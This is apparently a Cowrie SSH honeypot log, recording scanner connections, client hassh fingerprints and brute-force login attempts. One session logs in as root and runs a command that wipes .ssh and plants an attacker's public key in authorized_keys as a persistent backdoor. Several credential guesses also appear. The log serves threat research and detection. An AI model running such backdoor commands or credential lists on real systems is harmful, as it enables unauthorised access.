{"eventid":"cowrie.client.kex","hassh":"a704be057881f0b1d623cd263e477a8b","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-md5,hmac-sha1-96,hmac-md5-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-rsa","ssh-dss","ecdsa-sha2-nistp256","ssh-ed25519","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-md5","hmac-sha1-96","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: a704be057881f0b1d623cd263e477a8b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:43:52.576905Z","src_ip":"71.6.146.185","session":"6a520d9e1931","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:43:53.034049Z","src_ip":"71.6.146.185","session":"6a520d9e1931","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"71.6.146.185","src_port":46546,"dst_ip":"159.203.135.109","dst_port":22,"session":"88d25eecfcd1","protocol":"ssh","message":"New connection: 71.6.146.185:46546 (159.203.135.109:22) [session: 88d25eecfcd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:43:53.458604Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-paramiko_2.11.0","message":"Remote SSH version: SSH-2.0-paramiko_2.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:43:53.549009Z","src_ip":"71.6.146.185","session":"88d25eecfcd1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"a704be057881f0b1d623cd263e477a8b","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-md5,hmac-sha1-96,hmac-md5-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-md5","hmac-sha1-96","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: a704be057881f0b1d623cd263e477a8b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:43:53.617681Z","src_ip":"71.6.146.185","session":"88d25eecfcd1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:43:53.955414Z","src_ip":"71.6.146.185","session":"88d25eecfcd1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.61.82","src_port":52288,"dst_ip":"10.17.0.5","dst_port":22,"session":"a29b67f5e6c7","protocol":"ssh","message":"New connection: 171.244.61.82:52288 (10.17.0.5:22) [session: a29b67f5e6c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:44:40.961149Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:44:40.965677Z","src_ip":"171.244.61.82","session":"a29b67f5e6c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:44:41.210866Z","src_ip":"171.244.61.82","session":"a29b67f5e6c7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"open123","message":"login attempt [root/open123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:44:42.223461Z","src_ip":"171.244.61.82","session":"a29b67f5e6c7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:44:42.752851Z","src_ip":"171.244.61.82","session":"a29b67f5e6c7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:44:42.756304Z","src_ip":"171.244.61.82","session":"a29b67f5e6c7","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:44:42.760100Z","src_ip":"171.244.61.82","session":"a29b67f5e6c7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:44:43.009672Z","src_ip":"171.244.61.82","session":"a29b67f5e6c7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:44:43.536733Z","src_ip":"171.244.61.82","session":"a29b67f5e6c7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:44:43.539423Z","src_ip":"171.244.61.82","session":"a29b67f5e6c7","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:44:43.788237Z","src_ip":"171.244.61.82","session":"a29b67f5e6c7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:44:43.792357Z","src_ip":"171.244.61.82","session":"a29b67f5e6c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.61.82","src_port":52290,"dst_ip":"10.17.0.5","dst_port":22,"session":"6347febfb8ea","protocol":"ssh","message":"New connection: 171.244.61.82:52290 (10.17.0.5:22) [session: 6347febfb8ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:44:44.031984Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:44:44.037552Z","src_ip":"171.244.61.82","session":"6347febfb8ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:44:44.285600Z","src_ip":"171.244.61.82","session":"6347febfb8ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:44:45.302471Z","src_ip":"171.244.61.82","session":"6347febfb8ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:44:46.551275Z","src_ip":"171.244.61.82","session":"6347febfb8ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.61.82","src_port":39884,"dst_ip":"10.17.0.5","dst_port":22,"session":"97f784231c15","protocol":"ssh","message":"New connection: 171.244.61.82:39884 (10.17.0.5:22) [session: 97f784231c15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:44:46.784113Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:44:46.788533Z","src_ip":"171.244.61.82","session":"97f784231c15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:44:47.032664Z","src_ip":"171.244.61.82","session":"97f784231c15","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:44:48.034296Z","src_ip":"171.244.61.82","session":"97f784231c15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:44:48.278883Z","src_ip":"171.244.61.82","session":"97f784231c15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.3","message":"Connection lost after 7.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:44:48.285257Z","src_ip":"171.244.61.82","session":"a29b67f5e6c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.210.31.171","src_port":58020,"dst_ip":"10.17.0.5","dst_port":22,"session":"45cde29ffeb6","protocol":"ssh","message":"New connection: 205.210.31.171:58020 (10.17.0.5:22) [session: 45cde29ffeb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:45:10.984539Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:45:12.069514Z","src_ip":"205.210.31.171","session":"45cde29ffeb6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:45:13.143657Z","src_ip":"205.210.31.171","session":"45cde29ffeb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.9","message":"Connection lost after 9.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:45:20.865880Z","src_ip":"205.210.31.171","session":"45cde29ffeb6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.38.131.3","src_port":55516,"dst_ip":"159.203.135.109","dst_port":22,"session":"483613e628cb","protocol":"ssh","message":"New connection: 209.38.131.3:55516 (159.203.135.109:22) [session: 483613e628cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:45:32.423387Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:45:32.428840Z","src_ip":"209.38.131.3","session":"483613e628cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:45:32.537758Z","src_ip":"209.38.131.3","session":"483613e628cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"coin","password":"coin","message":"login attempt [coin/coin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:45:32.795976Z","src_ip":"209.38.131.3","session":"483613e628cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:45:33.919398Z","src_ip":"209.38.131.3","session":"483613e628cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.245.10.239","src_port":52554,"dst_ip":"10.17.0.5","dst_port":22,"session":"16c90fb872a2","protocol":"ssh","message":"New connection: 157.245.10.239:52554 (10.17.0.5:22) [session: 16c90fb872a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:47:20.956498Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:47:20.960808Z","src_ip":"157.245.10.239","session":"16c90fb872a2","protocol":"ssh"}
